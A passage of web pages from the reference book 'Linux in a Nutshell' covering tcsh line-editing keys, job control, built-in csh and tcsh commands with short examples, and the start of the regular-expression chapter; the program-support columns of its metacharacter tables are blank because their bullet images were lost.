Esc f | Move cursor forward one word.
Ctrl-A | Move cursor to beginning of line.
Ctrl-E | Move cursor to end of line.

Table 8-2. Text Deletion Commands (Emacs Mode)

Command | Description
Del or Ctrl-H | Delete character to left of cursor.
Ctrl-D | Delete character under cursor.
Esc d | Delete word.
Esc Del or Esc Ctrl-H | Delete word backward.
Ctrl-K | Delete from cursor to end-of-line.
Ctrl-U | Delete entire line.

Table 8-3. Command Control (Emacs Mode)

Command | Description
Ctrl-P | Previous command.
Ctrl-N | Next command.
Up arrow | Previous command.
Down arrow | Next command.
cmd-fragment Esc p | Search history for cmd-fragment, which must be the beginning of a command.
cmd-fragment Esc n | Like Esc p, but search forward.
Esc num | Repeat next command num times.
Ctrl-Y | Yank previously deleted string.

8.7.5.2. vi mode

vi mode has two submodes, insert mode and command mode. The default mode is insert. You can toggle modes by pressing Esc; alternatively, in command mode, typing a (append) or i (insert) will return you to insert mode.

Tables 8-4 through 8-10 describe the editing keystrokes available in vi mode.

Table 8-4. Commands Available (vi's Insert and Command Mode)

Command | Description
Ctrl-P | Previous command
Ctrl-N | Next command
Up arrow | Previous command
Down arrow | Next command
Esc | Toggle mode

Table 8-5. Editing Commands (vi Insert Mode)

Command | Description
Ctrl-B | Move cursor back (left) one character.
Ctrl-F | Move cursor forward (right) one character.
Ctrl-A | Move cursor to beginning of line.
Ctrl-E | Move cursor to end-of-line.
DEL or Ctrl-H | Delete character to left of cursor.
Ctrl-W | Delete word backward.
Ctrl-U | Delete from beginning of line to cursor.
Ctrl-K | Delete from cursor to end-of-line.

Table 8-6. Cursor Positioning Commands (vi Command Mode)

Command | Description
h or Ctrl-H | Move cursor back (left) one character.
l or SPACE | Move cursor forward (right) one character.
w | Move cursor forward (right) one word.
b | Move cursor back (left) one word.
e | Move cursor to next word ending.
W, B, E | Like w, b, and e, but treat just whitespace as word separator instead of any non-alphanumeric character.
^ or Ctrl-A | Move cursor to beginning of line (first nonwhitespace character).
0 | Move cursor to beginning of line.
$ or Ctrl-E | Move cursor to end-of-line.

Table 8-7. Text Insertion Commands (vi Command Mode)

Command | Description
a | Append new text after cursor until Esc.
i | Insert new text before cursor until Esc.
A | Append new text after end of line until Esc.
I | Insert new text before beginning of line until Esc.

Table 8-8. Text Deletion Commands (vi Command Mode)

Command | Description
x | Delete character under cursor.
X or Del | Delete character to left of cursor.
d m | Delete from cursor to end of motion command m.
D | Same as d$.
Ctrl-W | Delete word backward.
Ctrl-U | Delete from beginning of line to cursor.
Ctrl-K | Delete from cursor to end of line.

Table 8-9. Text Replacement Commands (vi Command Mode)

Command | Description
c m | Change characters from cursor to end of motion command m until Esc.
C | Same as c$.
r c | Replace character under cursor with character c.
R | Replace multiple characters until Esc.
s | Substitute character under cursor with characters typed until Esc.

Table 8-10. Character-Seeking Motion Commands (vi Command Mode)

Command | Description
f c | Move cursor to next instance of c in line.
F c | Move cursor to previous instance of c in line.
t c | Move cursor just before next instance of c in line.
T c | Move cursor just after previous instance of c in line.
; | Repeat previous f or F command.
, | Repeat previous f or F command in opposite direction.

Previous | Home | Next
8.6. Command History | Book Index | 8.8. Job Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Job Control (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.8. Job Control

Job control lets you place foreground jobs in the background, bring background jobs to the foreground, or suspend (temporarily stop) running jobs. The C shell provides the following commands for job control. For more information on these commands, see Section 8.9, "Built-in csh and tcsh Commands".

bg

Put a job in the background.

fg

Put a job in the foreground.

jobs

List active jobs.

kill

Terminate a job.

notify

Notify when a background job finishes.

stop

Suspend a background job.

Ctrl-Z

Suspend the foreground job.

Many job control commands take jobID as an argument. This argument can be specified as follows:

%n

Job number n.

%s

Job whose command line starts with string s.

%?s

Job whose command line contains string s.

%%

Current job.

%

Current job (same as preceding).

%+

Current job (same as preceding).

%-

Previous job.

Previous | Home | Next
8.7. Command-Line Manipulation | Book Index | 8.9. Built-in csh and tcsh Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Built-in csh and tcsh Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.9. Built-in csh and tcsh Commands

@

@ [variable[n]=expression]

Assign the value of the arithmetic expression to variable or to the nth element of variable if the index n is specified. With no variable or expression specified, print the values of all shell variables (same as set). Expression operators as well as examples are listed under Section 8.5, "Expressions" earlier in this chapter. Two special forms also are valid:

@ variable++

Increment variable by 1.

@ variable--

Decrement variable by 1.

#

#

Ignore all text that follows on the same line. # is used in shell scripts as the comment character and is not really a command.

#!

#!shell

Used as the first line of a script to invoke the named shell (with optional arguments). Not supported in all shells. For example:

#!/bin/csh -f
:

:

Null command. Returns an exit status of 0. The colon command often is put as the first character of a Bourne- or Korn-shell script to act as a place-holder to keep a # (hash) from accidentally becoming the first character.

alias

alias [name [command]]

Assign name as the shorthand name, or alias, for command. If command is omitted, print the alias for name; if name also is omitted, print all aliases. Aliases can be defined on the command line, but more often they are stored in .cshrc so that they take effect upon logging in. (See the sample .cshrc file earlier in this chapter.) Alias definitions can reference command-line arguments, much like the history list. Use \!* to refer to all command-line arguments, \!^ for the first argument, \!\!:2 for the second, \!$ for the last, and so on. An alias name can be any valid Unix command; however, you lose the original command's meaning unless you type \name. See also unalias and the "Special Aliases in tcsh" section.

Examples

Set the size for xterm windows under the X Window System:

alias R 'set noglob; eval `resize` unset noglob'

Show aliases that contain the string ls:

alias | grep ls

Run nroff on all command-line arguments:

alias ms 'nroff -ms \!*'

Copy the file that is named as the first argument:

alias back 'cp \!^ \!^.old'

Use the regular ls, not its alias:

% \ls
alloc

alloc

Print totals of used and free memory.

bg

bg [jobIDs]

Put the current job or the jobIDs in the background.

Example

To place a time-consuming process in the background, you might begin with:

4% nroff -ms report Ctrl-Z

and then issue any one of the following:

5% bg
5% bg %       Current job
5% bg %1      Job number 1
5% bg %nr     Match initial string nroff
5% % &
bindkey

bindkey [options] [key] [command]

tcsh only. Display all key bindings, or bind a key to a command.

Options

-a

List standard and alternate key bindings.

-b key

Expect key to be one of the following: a control character (in hat notation -- e.g., ^B -- or C notation -- e.g., C-B); a metacharacter (e.g., M-B); a function key (e.g., F-string); or an extended prefix key (e.g., X-B).

-c command

Interpret command as a shell, not editor, command.

-d key

Bind key to its original binding.

-e

Bind to standard Emacs bindings.

-k key

Expect key to refer to an arrow (left, right, up, or down).

-l

List and describe all editor commands.

-r key

Completely unbind key.

-s

Interpret command as a literal string and treat as terminal input.

-u

Print usage message.

-v

Bind to standard vi bindings.

break

break

Resume execution following the end command of the nearest enclosing while or foreach.

breaksw

breaksw

Break from a switch; continue execution after the endsw.

built-ins

built-ins

tcsh only. Print all built-in shell commands.

bye

bye

tcsh only. Same as logout.

case

case pattern :

Identify a pattern in a switch.

cd

cd [dir]

Change working directory to dir. Default is user's home directory. If dir is a relative pathname but is not in the current directory, the cdpath variable is searched. See the sample .cshrc file earlier in this chapter. tcsh includes some options for cd:

tcsh options

-

Change to previous directory.

-l

Explicitly expand ~ notation.

-n

Wrap entries before end-of-line; implies -p.

-p

Print directory stack.

-v

Print entries one per line; implies -p.

chdir

chdir [dir]

Same as cd. Useful if you are redefining cd.

complete

complete [string [word/pattern/list[:select]/[suffix]]]

tcsh only. List all completions, or, if specified, all completions for string (which may be a pattern). Further options can be specified.

Options for word

c

Complete current word only and without referring to pattern.

C

Complete current word only, referring to pattern.

n

Complete previous word.

N

Complete word before previous word.

p

Expect pattern to be a range of numbers. Perform completion within that range.

Options for list

Various lists of strings can be searched for possible completions. Some list options include:

(string)

Members of the list string

$variable

Words from variable

`command`

Output from command

a

Aliases

b

Bindings

c

Commands

C

External (not built-in) commands

d

Directories

D

Directories whose names begin with string

e

Environment variables

f

Filenames

F

Filenames that begin with string

g

Groups

j

Jobs

l

Limits

n

Nothing

s

Shell variables

S

Signals

t

Text files

T

Text files whose names begin with string

u

Users

v

Any variables

x

Like n but prints select as an explanation with the editor command list-choices

X

Completions

select

select should be a glob pattern. Completions are limited to words that match this pattern. suffix is appended to all completions.

continue

continue

Resume execution of nearest enclosing while or foreach.

default

default :

Label the default case (typically last) in a switch.

dirs

dirs [options]

Print the directory stack, showing the current directory first. See also popd and pushd. All options except -l, -n, and -v are tcsh extensions.

Options

-c

Clear the directory stack.

-l

Expand the home directory symbol (~) to the actual directory name.

-n

Wrap output.

-v

Print one directory per line.

-L file

Re-create stack from file, which should have been created by dirs -S file.

-S file

Print to file a series of pushd and popd commands, that can be invoked to replicate the stack.

echo

echo [-n] string

Write string to standard output; if -n is specified, the output is not terminated by a newline. Unlike the Unix version (/bin/echo) and the Bourne-shell version, the C shell's echo doesn't support escape characters. See also echo in Chapter 3, "Linux Commands", and Chapter 7, "bash: The Bourne-Again Shell".

echotc

echotc [options] arguments

tcsh only. Display terminal capabilities, or move cursor on screen, depending on the argument.

Options

-s

Return empty string, not error, if capability doesn't exist.

-v

Display verbose messages.

Arguments

baud

Display current baud.

cols

Display current column.

cm column row

Move cursor to specified coordinates.

home

Move cursor to home position.

lines

Print number of lines per screen.

meta

Does this terminal have meta capacity (usually the Alt key)?

tabs

Does this terminal have tab capacity?

else

else

Reserved word for interior of if ... endif statement.

end

end

Reserved word that ends a foreach or switch statement.

endif

endif

Reserved word that ends an if statement.

endsw

endsw

Reserved word that ends a switch statement.

eval

eval args

Typically, eval is used in shell scripts, and args is a line of code that may contain shell variables. eval forces variable expansion to happen first and then runs the resulting command. This "double scanning" is useful any time shell variables contain input/output redirection symbols, aliases, or other shell variables. (For example, redirection normally happens before variable expansion, so a variable containing redirection symbols must be expanded first using eval; otherwise, the redirection symbols remain uninterpreted.)

Examples

The following line can be placed in the .login file to set up terminal characteristics:

set noglob eval `tset -s xterm` unset noglob

The following commands show the effect of eval:

% set b='$a'
% set a=hello
% echo $b          Read the command line once
$a
% eval echo $b     Read the command line twice
hello

Another example of eval can be found under alias.

exec

exec command

Execute command in place of current shell. This terminates the current shell, rather than create a new process under it.

exit

exit [(expr)]

Exit a shell script with the status given by expr. A status of zero means success; nonzero means failure. If expr is not specified, the exit value is that of the status variable. exit can be issued at the command line to close a window (log out).

fg

fg [jobIDs]

Bring the current job or the jobIDs to the foreground. jobID can be %job-number.

Example

If you suspend a vi editing session (by pressing Ctrl-Z), you might resume vi using any of these commands:

% %
% fg
% fg %
% fg %vi     Match initial string
filetest

filetest -op files

tcsh only. Apply op file-test operator to files. Print results in a list. See Section 8.5.1.5, "File inquiry operators" for the list of file-test operators.

foreach

foreach name (wordlist)

commands

end

Assign variable name to each value in wordlist and execute commands between foreach and end. You can use foreach as a multiline command issued at the C-shell prompt (first of the following examples), or you can use it in a shell script (second example).

Examples

Rename all files that begin with a capital letter:

% foreach i ([A-Z]*)
? mv $i $i.new
? end

Check whether each command-line argument is an option or not:

foreach arg ($argv)
   # does it begin with - ?
   if ("$arg" =~ -*) then
      echo "Argument is an option"
   else
      echo "Argument is a filename"
   endif
end
glob

glob wordlist

Do filename, variable, and history substitutions on wordlist. No \ escapes are recognized in its expansion, and words are delimited by null characters. glob typically is used in shell scripts to hardcode a value so that it remains the same for the rest of the script.

goto

goto string

Skip to a line whose first nonblank character is string followed by a colon and continue execution below that line. On the goto line, string can be a variable or filename pattern, but the label branched to must be a literal, expanded value and must not occur within a foreach or while.

hashstat

hashstat

Display statistics that show the hash table's level of success at locating commands via the path variable.

history

history [options]

Display the list of history events. (History syntax is discussed earlier, in "Command History.")

Options

-c

tcsh only. Clear history list.

-h

Print history list without event numbers.

-r

Print in reverse order; show oldest commands last.

n

Display only the last n history commands, instead of the number set by the history shell variable.

-L file

tcsh only. Load series of pushd and popd commands from file in order to re-create a saved stack.

-M file

tcsh only. Merge the current directory stack and the stack saved in file. Save both, sorted by time, in file, as a series of pushd and popd commands.

-S file

tcsh only. Print to file a series of pushd and popd commands that can be invoked to replicate the stack.

Example

To save and execute the last five commands:

history -h 5 > do_it
source do_it
hup

hup [command]

tcsh only. Start command but make it exit when sent a hangup signal, which is sent when shell exits. By default, configure shell script to exit on hangup signal.

if

if

Begin a conditional statement. The simple format is:

if (expr) cmd

There are three other possible formats, shown side-by-side:

if (expr) then   if (expr) then   if (expr) then
   cmds             cmds1             cmds1
endif            else             else if (expr) then
                    cmds2             cmds2
                 endif            else
                                      cmds3
                                  endif

In the simplest form, execute cmd if expr is true; otherwise do nothing (redirection still occurs; this is a bug). In the other forms, execute one or more commands. If expr is true, continue with the commands after then; if expr is false, branch to the commands after else (or branch to after the else if and continue checking). For more examples, see Section 8.5, "Expressions" earlier in this chapter, shift, or while.

Example

Take a default action if no command-line arguments are given:

if ($#argv == 0) then
   echo "No filename given. Sending to Report."
   set outfile = Report
else
   set outfile = $argv[1]
endif
jobs

jobs [-l]

List all running or stopped jobs; -l includes process IDs. For example, you can check whether a long compilation or text format is still running. Also useful before logging out.

kill

kill [options] ID

Terminate each specified process ID or job ID. You must own the process or be a privileged user. This built-in is similar to /bin/kill described in Chapter 3, "Linux Commands" but also allows symbolic job names. Stubborn processes can be killed using signal 9.

Options

-l

List the signal names. (Used by itself.)

-signal

The signal number or name, without the SIG prefix (e.g., HUP, not SIGHUP). The command kill -l prints a list of the available signal names. The list varies by system architecture; for a PC-based system, it looks like this:

% kill -l
HUP INT QUIT ILL TRAP ABRT BUS FPE KILL USR1 SEGV USR2
PIPE ALRM TERM STKFLT CHLD CONT STOP TSTP TTIN TTOU URG
XCPU XFSZ VTALRM PROF WINCH POLL PWR UNUSED
The signals and their numbers are defined in /usr/include/asm/signal.h; look in that file to find the signals that apply to your system.

Examples

If you've issued the following command:

44% nroff -ms report &

you can terminate it in any of the following ways:

45% kill 19536     Process ID
45% kill %         Current job
45% kill %1        Job number 1
45% kill %nr       Initial string
45% kill %?report  Matching string
limit

limit [-h] [resource [limit]]

Display limits or set a limit on resources used by the current process and by each process it creates. If no limit is given, the current limit is printed for resource. If resource also is omitted, all limits are printed. By default, the current limits are shown or set; with -h, hard limits are used. A hard limit imposes an absolute limit that can't be exceeded. Only a privileged user may raise it. See also unlimit.

Option

-h

Use hard, not current, limits.

Resource

cputime

Maximum number of seconds the CPU can spend; can be abbreviated as cpu.

filesize

Maximum size of any one file.

datasize

Maximum size of data (including stack).

stacksize

Maximum size of stack.

coredumpsize

Maximum size of a core dump file.

Limit

A number followed by an optional character (a unit specifier).

For cputime: | n h (for n hours)
 | n m (for n minutes)
 | mm:ss (minutes and seconds)
For others: | n k (for n kilobytes, the default)
 | n m (for n megabytes)
log

log

tcsh only. Consult the watch variable for list of users being watched. Print list of those who are presently logged in. If - is entered as an option, reset environment as if user had logged in with new group.

login

login [user|-p]

Replace user's login shell with /bin/login. -p is used to preserve environment variables.

logout

logout

Terminate the login shell.

ls-F

ls-F [options] [files]

tcsh only. Faster alternative to ls -F. If given any options, invokes ls.

newgrp

newgrp [-] [group]

tcsh only. Change user's group ID to specified group ID, or, if none is specified, to original group ID. If - is entered as an option, reset environment as if user had logged in with new group. Must have been compiled into the shell; see the version variable.

nice

nice [+n] command

Change the execution priority for command, or, if none is given, change priority for the current shell. (See also nice in Chapter 3, "Linux Commands".) The priority range is -20 to 20, with a default of 4. The range seems backward: -20 gives the highest priority (fastest execution); 20 gives the lowest. Only a privileged user may specify a negative number.

+n

Add n to the priority value (lower job priority).

-n

Subtract n from the priority value (raise job priority). Privileged users only.

nohup

nohup [command]

"No hangup signals." Do not terminate command after terminal line is closed (i.e., when you hang up from a phone or log out). Use without command in shell scripts to keep script from being terminated. (See also nohup in Chapter 3, "Linux Commands".)

notify

notify [jobID]

Report immediately when a background job finishes (instead of waiting for you to exit a long editing session, for example). If no jobID is given, the current background job is assumed.

onintr

onintr label

onintr -

onintr

"On interrupt." Used in shell scripts to handle interrupt signals (similar to bash's trap 2 and trap "" 2 commands). The first form is like a goto label. The script will branch to label: if it catches an interrupt signal (e.g., Ctrl-C). The second form lets the script ignore interrupts. This is useful at the beginning of a script or before any code segment that needs to run unhindered (e.g., when moving files). The third form restores interrupt handling that was previously disabled with onintr -.

Example

onintr cleanup     Go to "cleanup" on interrupt
 .
 .                 Shell script commands
 .
cleanup:           Label for interrupts
  onintr -         Ignore additional interrupts
  rm -f $tmpfiles  Remove any files created
  exit 2           Exit with an error status
popd

popd [options]

Remove the current entry from the directory stack, or remove the nth entry from the stack and print the stack that remains. The current entry has number 0 and appears on the left. See also dirs and pushd.

Options

+n

Specify nth entry.

-l

Expand ~ notation.

-n

Wrap long lines.

-p

Override the pushdsilent shell variable, which otherwise prevents the printing of the final stack.

-v

Print precisely one directory per line.

printenv

printenv [variable]

Print all (or one specified) environment variables and their values.

pushd

pushd name

pushd [options]

pushd

The first form changes the working directory to name and adds it to the directory stack. The second form rotates the nth entry to the beginning, making it the working directory. (Entry numbers begin at 0.) With no arguments, pushd switches the first two entries and changes to the new current directory. The +n, -l, -n, and -v options behave the same as in popd. See also dirs and popd.

Examples

% dirs
/home/bob /usr
% pushd /etc           Add /etc to directory stack
/etc /home/bob /usr
% pushd +2             Switch to third directory
/usr /etc /home/bob
% pushd                Switch top two directories
/etc /usr /home/bob
% popd                 Discard current entry; go to next
/usr /home/bob
rehash

rehash

Recompute the internal hash table for the PATH variable. Use rehash whenever a new command is created during the current session. This allows the PATH variable to locate and execute the command. (If the new command resides in a directory not listed in PATH, add this directory to PATH before rehashing.) See also unhash.

repeat

repeat n command

Execute n instances of command.

Examples

Print three copies of memo:

% repeat 3 pr memo | lp

Read 10 lines from the terminal and store in item_list:

% repeat 10 line > item_list

Append 50 boilerplate files to report:

% repeat 50 cat template >> report
sched

sched [options]

sched time command

tcsh only. Without options, print all scheduled events. The second form schedules an event.

time should be specified in hh:mm form (e.g., 13:00).

Options

+hh:mm

Schedule event to take place hh:mm from now.

-n

Remove nth item from schedule.

set

set variable=value

set [option] variable[n]=value

set

Set variable to value, or if multiple values are specified, set the variable to the list of words in the value list. If an index n is specified, set the nth word in the variable to value. (The variable must already contain at least that number of words.) With no arguments, display the names and values of all set variables. See also "Predefined Shell Variables" earlier in this chapter.

Option

-r

tcsh only. List only read-only variables, or set specified variable to read-only.

Examples

% set list=(yes no maybe)     Assign a wordlist
% set list[3]=maybe           Assign an item in existing wordlist
% set quote="Make my day"      Assign a variable
% set x=5 y=10 history=100    Assign several variables
% set blank                   Assign a null value to blank
setenv

setenv [name [value]]

Assign a value to an environment variable name. By convention, name is uppercase. value can be a single word or a quoted string. If no value is given, the null value is assigned. With no arguments, display the names and values of all environment variables. setenv is not necessary for the PATH variable, which is automatically exported from path.

settc

settc capability value

tcsh only. Set terminal capability to value.

setty

setty [options] [+|-mode]

tcsh only. Do not allow shell to change specified tty modes. By default, act on the execute set.

Options

+mode

Without arguments, list all modes in specified set that are on. Otherwise, set specified mode to on.

-mode

Without arguments, list all modes in specified set that are off. Otherwise, set specified mode to on.

-a

List all modes in specified set.

-d

Act on the edit set of modes (used when editing commands).

-q

Act on the quote set of modes (used when entering characters verbatim).

-x

Act on the execute set of modes (default) (used when executing examples).

shift

shift [variable]

If variable is given, shift the words in a wordlist variable (i.e., name[2] becomes name[1]). With no argument, shift the positional parameters (command-line arguments) (i.e., $2 becomes $1). shift is typically used in a while loop. See additional example under while.

Example

while ($#argv)      While there are arguments
    if (-f $argv[1])
       wc -l $argv[1]
    else
       echo "$argv[1] is not a regular file"
    endif
    shift           Get the next argument
end
source

source [-h] script [args]

Read and execute commands from a C-shell script. With -h, the commands are added to the history list but aren't executed. For tcsh only, arguments can be passed to the script and are put in argv.

Example

source ~/.cshrc
stop

stop [jobIDs]

Suspend the current background jobs or the background jobs specified by jobIDs; this is the complement of Ctrl-Z or suspend.

suspend

suspend

Suspend the current foreground job; same as Ctrl-Z. Often used to stop an su command.

switch

switch

Process commands depending on the value of a variable. When you need to handle more than three choices, switch is a useful alternative to an if-then-else statement. If the string variable matches pattern1, the first set of commands is executed; if string matches pattern2, the second set of commands is executed; and so on. If no patterns match, execute commands under the default case. string can be specified using command substitution, variable substitution, or filename expansion. Patterns can be specified using the pattern-matching symbols *, ?, and []. breaksw is used to exit the switch. If breaksw is omitted (which is rarely done), the switch continues to execute another set of commands until it reaches a breaksw or endsw. Following is the general syntax of switch, side-by-side with an example that processes the first command-line argument:

switch (string)       switch ($argv[1])
  case pattern1:      case -[nN]:
      commands        nroff $file | lp
      breaksw         breaksw
  case pattern2:      case -[Pp]:
      commands        pr $file | lp
      breaksw         breaksw
  case pattern3:      case -[Mm]:
      commands        more $file
      breaksw         breaksw
      .               case -[Ss]:
      .               sort $file
      .               breaksw
  default:            default:
      commands        echo "Error -- no such option"
                      exit 1
      breaksw         breaksw
endsw                 endsw
telltc

telltc

tcsh only. Print all terminal capabilities and their values.

time

time [command]

Execute a command and show how much time it uses. With no argument, time can be used in a shell script to time the script.

umask

umask [nnn]

Display file creation mask or set file creation mask to octal nnn. The file creation mask determines which permission bits are turned off. With no nnn, print the current mask.

unalias

unalias pattern

Remove all aliases whose names match pattern from the alias list. See alias for more information.

uncomplete

uncomplete pattern

tcsh only. Remove completions (specified by complete) whose names match pattern.

unhash

unhash

Remove internal hash table. The shell stops using hashed values and searches the path directories to locate a command. See also rehash.

unlimit

unlimit [-h] [resource]

Remove the allocation limits on resource. If resource is not specified, remove limits for all resources. See limit for more information. With -h, remove hard limits. This command can be run only by a privileged user.

unset

unset variables

Remove one or more variables. Variable names may be specified as a pattern, using filename metacharacters. Does not remove read-only variables. See set.

unsetenv

unsetenv variable

Remove an environment variable. Filename matching is not valid. See setenv.

wait

wait

Pause in execution until all child processes complete, or until an interrupt signal is received.

watchlog

watchlog

tcsh only. Same as log. Must have been compiled into the shell; see the version shell variable.

where

where command

tcsh only. Display all aliases, built-ins, and executables named command.

which

which command

tcsh only. Report which version of command will be executed. Same as the executable which, but faster, and checks tcsh built-ins.

while

while (expression)

commands

end

As long as expression is true (evaluates to nonzero), evaluate commands between while and end. break and continue can be used to terminate or continue the loop.

Example

set user = (alice bob carol ted)
while ($argv[1] != $user[1])   Cycle through each user, checking for a match
   shift user                  If we cycled through with no match...
   if ($#user == 0) then
     echo "$argv[1] is not on the list of users"
     exit 1
   endif
end

Previous | Home | Next
8.8. Job Control | Book Index | 9. Pattern Matching
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pattern Matching (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 9. Pattern Matching

Contents:

Filenames Versus Patterns
Metacharacters, Listed by Linux Program
Metacharacters
Examples of Searching

A number of Linux text-editing utilities let you search for and, in some cases change, text patterns rather than fixed strings. These utilities include the editing programs ed, ex, vi, and sed; the awk scripting language; and the commands grep and egrep. Text patterns (also called regular expressions) contain normal characters mixed with special characters (also called metacharacters).

Perl's regular expression support is so rich that it does not fit into the tables in this chapter; you can find a description in the O'Reilly books Perl in a Nutshell, Perl 5 Pocket Reference, or Programming Perl. The Emacs editor also provides regular expressions similar to those shown in this chapter.

ed and ex are hardly ever used as standalone, interactive editors nowadays. But ed can be found as a batch processor invoked from shell scripts, and ex commands often are invoked within vi through the colon (:) command. We use vi in this chapter to refer to the regular expression features supported by both vi and the ex editor on which it is based.

sed and awk are widely used in shell scripts and elsewhere as filters to alter text.

This chapter presents the following information:

  • Filenames versus patterns

  • List of metacharacters available to each program

  • Description of metacharacters

  • Examples

A thorough guide to pattern matching can be found in the Nutshell handbook Mastering Regular Expressions by Jeffrey E. F. Friedl.

9.1. Filenames Versus Patterns

Metacharacters used in pattern matching are different from those used for filename expansion. When you issue a command on the command line, special characters are seen first by the shell, then by the program; therefore, unquoted metacharacters are interpreted by the shell for filename expansion. The command:

$ grep [A-Z]* chap[12]

could, for example, be interpreted by the shell as:

$ grep Array.c Bug.c Comp.c chap1 chap2

and grep then would try to find the pattern "Array.c" in files Bug.c, Comp.c, chap1, and chap2. To bypass the shell and pass the special characters to grep, use quotes:

$ grep "[A-Z]*" chap[12]

Double quotes suffice in most cases, but single quotes are the safest bet.

Note also that * and ? have subtly different meanings in pattern matching and filename expansion.

Previous | Home | Next
8.9. Built-in csh and tcsh Commands | Book Index | 9.2. Metacharacters, Listed by Linux Program
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Metacharacters, Listed by Linux Program (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

9.2. Metacharacters, Listed by Linux Program

Some metacharacters are valid for one program but not for another. Those that are available to a given program are marked by a bullet ( [image]) in the following table. Notes are provided after the table, and full descriptions of metacharacters are in the following section.

Symbol | ed | vi | sed | awk | grep | egrep | Action
. |  |  |  |  |  |  | Match any character (can match newline in gawk).
* |  |  |  |  |  |  | Match zero or more preceding.
^ |  |  |  |  |  |  | Match beginning of line or string.
$ |  |  |  |  |  |  | Match end of line or string.
\ |  |  |  |  |  |  | Escape character following.
[] |  |  |  |  |  |  | Match one from a list or range.
\(\) |  |  |  |  |  |  | Store pattern for later replay.
\n |  |  |  |  |  |  | Reuse matched text stored in nth \( \).
{} |  |  |  |  |  |  | Match a range of instances.
\{\} |  |  |  |  |  |  | Match a range of instances.
\<\> |  |  |  |  |  |  | Match word's beginning or end.
+ |  |  |  |  |  |  | Match one or more preceding.
? |  |  |  |  |  |  | Match zero or one preceding.
| |  |  |  |  |  |  | Separate choices to match.
() |  |  |  |  |  |  | Group expressions to match.

On some Linux systems, grep is a link to egrep, so whenever you run grep you actually get egrep behavior.

In ed, vi, and sed, when you perform a search-and-replace (substitute) operation, the metacharacters in this table apply to the pattern you are searching for but not to the string replacing it.

In awk, {} is specified in the POSIX standard and is supported by gawk if you run it with the -Wre-interval option.

In ed, vi, and sed, the following additional metacharacters are valid only in a replacement pattern:

Symbol | ex | sed | ed | Action
\ |  |  |  | Escape character following.
\n |  |  |  | Reuse matched text stored in nth \( \).
& |  |  |  | Reuse previous search pattern.
~ |  |  |  | Reuse previous replacement pattern.
\e |  |  |  | Turn off previous \L or \U.
\E |  |  |  | Turn off previous /L or /U.
\l |  |  |  | Change single following character to lowercase.
\L |  |  |  | Change following characters to lowercase until /E encountered.
\u |  |  |  | Change single following character to uppercase.
\U |  |  |  | Change following characters to uppercase until \E encountered.
Previous | Home | Next
9. Pattern Matching | Book Index | 9.3. Metacharacters
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Metacharacters (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

9.3. Metacharacters

The following characters have special meaning in search patterns:

Character | Meaning
. | Match any single character except newline.
* | Match any number (or none) of the single character that immediately precedes it. The preceding character also can be a regular expression (e.g., since . (dot) means any character, .* means match any number of any character -- except newlines).
^ | Match the beginning of the line or string.
$ | Match the end of the line or string.
[ ] | Match any one of the enclosed characters. A hyphen (-) indicates a range of consecutive characters. A circumflex (^) as the first character in the brackets reverses the sense: it matches any one character not in the list. A hyphen or close bracket (]) as the first character is treated as a member of the list. All other metacharacters are treated as members of the list.
[^ ] | Match anything except enclosed characters.
\{n,m\} | Match a range of occurrences of the single character that immediately precedes it. The preceding character also can be a regular expression. \{n\} matches exactly n occurrences, \{n,\} matches at least n occurrences, and \{n,m\} matches any number of occurrences between n and m.
{n,m} | Like \{n,m\}. Available in grep by default and in gawk with the -Wre-interval option.
\ | Turn off the special meaning of the character that follows.
\(\) | Save the matched text enclosed between \( and \) in a special holding space. Up to nine patterns can be saved on a single line. They can be "replayed" in the same pattern or within substitutions by the escape sequences \1 to \9.
\n | Reuse matched text stored in nth \( \).
() | In egrep and gawk, save the matched text enclosed between \( and \) in a holding space to be replayed in substitutions by the escape sequences \1 to \9.
\<\> | Match the beginning (\<) or end (\>) of a word.
+ | Match one or more instances of preceding regular expression.
? | Match zero or one instance of preceding regular expression.
| | Match the regular expression specified before or after.
() | Group regular expressions.

Many utilities support POSIX character lists, which are useful for matching non-ASCII characters in languages other than English. These lists are recognized only within [] ranges. A typical use would be [[:lower:]], which in English is the same as [a-z].

The following table lists POSIX character lists:

Notation | Action
[:alnum:] | Alphanumeric characters
[:alpha:] | Alphabetic characters, uppercase and lowercase
[:blank:] | Printable whitespace: spaces and tabs but not control characters
[:cntrl:] | Control characters, such as ^A through ^Z
[:digit:] | Decimal digits
[:graph:] | Printable characters, excluding whitespace
[:lower:] | Lowercase alphabetic characters
[:print:] | Printable characters, including whitespace but not control characters
[:punct:] | Punctuation, a subclass of printable characters
[:space:] | Whitespace, including spaces, tabs, and some control characters
[:upper:] | Uppercase alphabetic characters
[:xdigit:] | Hexadecimal digits

The following characters have special meaning in replacement patterns:

Character | Meaning
\ | Turn off the special meaning of the character that follows.
\n | Restore the nth pattern previously saved by \( and \). n is a number from 1 to 9, matching the patterns searched sequentially from left to right.
& | Reuse the search pattern as part of the replacement pattern.
~ | Reuse the previous replacement pattern in the current replacement pattern.
\e | End replacement pattern started by \L or \U.
\E | End replacement pattern started by \L or \U.
\l | Convert first character of replacement pattern to lowercase.
\L | Convert replacement pattern to lowercase.
\u | Convert first character of replacement pattern to uppercase.
\U | Convert replacement pattern to uppercase.

Previous | Home | Next
9.2. Metacharacters, Listed by Linux Program | Book Index | 9.4. Examples of Searching
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Examples of Searching (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

9.4. Examples of Searching

When used with grep or egrep, regular expressions normally are surrounded by quotes to avoid interpretation by the shell. (If the pattern contains a $, you must use single quotes, as in '$200', or escape the $, as in "\$200".) When used with ed, vi, sed, and awk, regular expressions usually are surrounded by / (although any delimiter works). Here are some sample patterns:

Pattern | What does it match?
bag | The string bag.
^bag | "bag" at beginning of line or string.
bag$ | "bag" at end of line or string.
^bag$ | "bag" as the only text on line.
[Bb]ag | "Bag" or "bag."
